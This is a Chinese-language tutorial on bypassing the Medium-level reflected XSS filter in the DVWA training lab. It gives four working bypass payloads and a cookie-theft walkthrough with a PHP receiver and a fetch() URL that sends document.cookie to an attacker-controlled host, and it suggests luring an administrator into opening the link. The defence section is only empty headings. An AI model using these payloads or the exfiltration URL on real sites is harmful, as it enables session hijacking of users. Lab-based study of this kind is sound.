【DVWA系列】——xss(Reflected)——Medium详细教程

本文仅用于技术研究,禁止用于非法用途。
Author:枷锁

文章目录

本文环境Security Level:Medium
【DVWA系列】------反射型XSS(Reflected)------Medium级别详细教程

漏洞原理分析

在Medium级别中,DVWA添加了基础防护措施但存在明显缺陷:

php 复制代码
if (array_key_exists("name", _GET) && _GET['name'] != NULL) {
    // 尝试过滤<script>标签(但防御不完整)
    name = str_replace('<script>', '', _GET['name']);
    echo '<pre>Hello ' . $name . '</pre>';
  • 关键安全漏洞:
    仅过滤<script>字符串(大小写敏感)
  • 未处理其他标签(如<img>、<svg>
    未过滤事件处理器(如onerror、onload)
    未进行HTML实体编码

四种攻击方法与Payload示例

方法1:大小写绕过(简单有效)

javascript 复制代码
<ScRiPt>alert('XSS')</ScRiPt>

原理: str_replace区分大小写,大写变形不被过滤

方法2:嵌套标签绕过

javascript 复制代码
<scr<script>ipt>alert('XSS')</script>

原理: 过滤移除内层

移除后: <scr ipt>alert('XSS')</script> → 实际执行为<script>alert('XSS')</script>

方法3:非<script>标签利用

javascript 复制代码
<img src="x" onerror=alert('XSS')>

效果: 当图片加载失败时执行onerror中的JS代码

方法4:SVG标签利用

javascript 复制代码
<svg onload=alert('XSS')>

优势: 无需外部资源,直接执行JS

获取cookie步骤

步骤1:环境配置

设置DVWA安全级别为Medium

访问XSS(Reflected)页面:

http://<靶机IP>/dvwa/vulnerabilities/xss_r/

步骤2:执行XSS攻击

在输入框输入Payload:

php 复制代码
<img src=x onerror=alert(document.cookie)>

点击"Submit"按钮

结果: 成功弹出会话cookie弹窗

步骤3:窃取Cookie实战

准备接收服务器(攻击者控制):

创建steal.php:

php 复制代码
      <?php
 cookie = _GET['c'];
 file_put_contents('cookies.txt', $cookie."\n", FILE_APPEND);
 ?>

构造恶意URL:

php 复制代码
   http://<靶机IP>/dvwa/vulnerabilities/xss_r/?name=<img src=x onerror="fetch('http://攻击者IP/steal.php?c='+document.cookie)">

诱导管理员访问该链接

验证: 查看cookies.txt获取到的会话Cookie

防御机制分析及绕过原理

防护措施 绕过方法 原理说明

加固要点:

📌 核心总结

🔐 伦理声明: 本教程仅限于授权测试环境使用,未经授权对他人系统实施XSS攻击属违法行为。

宇宙级免责声明​​

🚨 重要声明:本文仅供合法授权下的安全研究与教育目的!🚨

1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。

2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。

3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。

4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。

5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。

6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。

7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。
🔐 安全研究的正确姿势:

✅ 先授权,再测试

✅ 只针对自己拥有或有权测试的系统

✅ 发现漏洞后,及时报告并协助修复

✅ 尊重隐私,不越界

⚠️ 警告:技术无善恶,人心有黑白。请明智选择你的道路。

希望这个教程对你有所帮助!记得负责任地进行安全测试。

相关推荐
ai小鬼头20 分钟前
AIStarter最新版怎么卸载AI项目?一键删除操作指南(附路径设置技巧)
前端·后端·github
2501_9159214320 分钟前
iOS IPA 混淆实测分析:从逆向视角验证加固效果与防护流程
websocket·网络协议·tcp/ip·http·网络安全·https·udp
2501_9159184121 分钟前
打造可观测的 iOS CICD 流程:调试、追踪与质量保障全记录
websocket·网络协议·tcp/ip·http·网络安全·https·udp
一只叫煤球的猫1 小时前
普通程序员,从开发到管理岗,为什么我越升职越痛苦?
前端·后端·全栈
vvilkim1 小时前
Electron 自动更新机制详解:实现无缝应用升级
前端·javascript·electron
vvilkim1 小时前
Electron 应用中的内容安全策略 (CSP) 全面指南
前端·javascript·electron
aha-凯心1 小时前
vben 之 axios 封装
前端·javascript·学习
遗憾随她而去.2 小时前
uniapp 中使用路由导航守卫,进行登录鉴权
前端·uni-app
xjt_09012 小时前
浅析Web存储系统
前端
聚铭网络2 小时前
案例精选 | 某省级税务局AI大数据日志审计中台应用实践
大数据·人工智能·web安全